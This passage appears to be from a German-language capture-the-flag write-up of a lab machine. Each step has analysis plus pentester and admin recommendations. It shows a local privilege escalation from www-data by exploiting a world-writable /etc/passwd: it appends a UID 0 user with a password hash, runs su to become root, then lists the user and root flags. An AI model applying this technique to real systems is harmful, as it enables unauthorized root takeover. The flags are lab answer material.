**Bewertung:** Die gefundenen Capabilities (`cap_net_bind_service`, `cap_net_admin`, `cap_net_raw`, `cap_dac_override`, `cap_sys_ptrace`) sind meist Standard für die aufgelisteten Programme und bieten auf den ersten Blick keinen einfachen Eskalationspfad.

**Empfehlung (Pentester):** Capabilities sind ein möglicher Vektor, hier aber anscheinend nicht direkt ausnutzbar. Suche weiter nach anderen Methoden (SUID, Cronjobs, Kernel, unsichere Dateiberechtigungen).
**Empfehlung (Admin):** Verwalte Capabilities sorgfältig und weise sie nur zu, wenn absolut notwendig. Überprüfe regelmäßig gesetzte Capabilities.

www-data@vtcsec:/tmp$ ls -la /etc/passwd
-rw-rw-rw- 1 root root 2364 Nov 16  2017 /etc/passwd
www-data@vtcsec:/home/marlinspike$ cd /tmp/
www-data@vtcsec:/tmp$ ls -la /etc/passwd
-rw-rw-rw- 1 root root 2364 Nov 16  2017 /etc/passwd

**Analyse:** Die Berechtigungen der Datei `/etc/passwd` werden mehrfach überprüft.

**Bewertung:** **Kritische Fehlkonfiguration!** Die Datei `/etc/passwd`, die Benutzerkontoinformationen enthält, ist **weltbeschreibbar** (`-rw-rw-rw-`). Das bedeutet, jeder Benutzer auf dem System, einschließlich `www-data`, kann diese Datei ändern. Dies ist ein direkter und einfacher Weg zur Privilegieneskalation.

**Empfehlung (Pentester):** Füge einen neuen Benutzer mit UID 0 (Root) zur `/etc/passwd`-Datei hinzu oder ändere das Passwort eines bestehenden Benutzers (z.B. `root`) durch Einfügen eines bekannten Passwort-Hashes.
**Empfehlung (Admin):** **DRINGEND:** Korrigiere die Berechtigungen von `/etc/passwd` auf `644` (`-rw-r--r--`). Überprüfe auch die Berechtigungen von `/etc/shadow` (sollte `640` oder `600` sein). Überwache Systemdateien auf unautorisierte Änderungen.

www-data@vtcsec:/tmp$ echo ben >> /etc/passwd
www-data@vtcsec:/tmp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
... (andere Benutzer) ...
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
ben
                    

**Analyse:** Der Text "ben" wird an die `/etc/passwd`-Datei angehängt. `cat` zeigt das Ergebnis.

**Bewertung:** Dies demonstriert die Schreibbarkeit, erstellt aber einen ungültigen Eintrag, der nicht für einen Login verwendet werden kann. Es dient nur als Test.

**Empfehlung (Pentester):** Erstelle einen gültigen Eintrag mit einem Passwort-Hash und UID 0.
**Empfehlung (Admin):** Berechtigungen korrigieren!

www-data@vtcsec:/tmp$ vi /etc/passwd
ben:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash

**Analyse:** Die `/etc/passwd`-Datei wird mit `vi` bearbeitet. Es wird ein neuer Eintrag für den Benutzer `ben` hinzugefügt. Dieser Eintrag enthält:

**Bewertung:** Dies ist der eigentliche Exploit der weltbeschreibbaren `/etc/passwd`. Durch das Hinzufügen dieses Eintrags wird ein neuer Benutzer `ben` erstellt, der die UID 0 hat und somit volle Root-Privilegien besitzt. Das Passwort für `ben` ist durch den SHA-512-Hash repräsentiert.

**Empfehlung (Pentester):** Wechsle nun mit `su ben` und dem zum Hash gehörenden Passwort zum neuen Root-Benutzer.
**Empfehlung (Admin):** Berechtigungen von `/etc/passwd` korrigieren! Überwache Änderungen an Authentifizierungsdateien.

www-data@vtcsec:/tmp# mp$ su ben
root@vtcsec:/tmp# mp$

**Analyse:** Es wird versucht, mit `su ben` zum neu erstellten Benutzer `ben` zu wechseln. Ein Passwort wird hier nicht abgefragt, was darauf hindeutet, dass das zum Hash gehörende Passwort entweder bekannt war und korrekt eingegeben wurde (die Eingabe aber nicht geloggt wurde) oder dass unter bestimmten Umständen (z.B. wenn die Shadow-Suite nicht perfekt konfiguriert ist) kein Passwort nötig war, was aber unwahrscheinlich ist. Der Prompt wechselt zu `root@vtcsec:/tmp#`, was den erfolgreichen Wechsel zu einem Benutzer mit Root-Rechten (UID 0) anzeigt. Die `mp$`-Artefakte sind wahrscheinlich Tippfehler im Original-Log.

**Bewertung:** Privilegieneskalation erfolgreich! Durch das Ausnutzen der unsicheren Berechtigungen von `/etc/passwd` wurde ein Root-Äquivalentes Konto erstellt und übernommen.

**Empfehlung (Pentester):** Ziel erreicht! Suche die Root-Flagge (vermutlich in `/root`). Bereinige ggf. den Eintrag in `/etc/passwd`.
**Empfehlung (Admin):** Berechtigungen von `/etc/passwd` und `/etc/shadow` korrigieren und überwachen.

Flags

cat /home/marlinspike/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A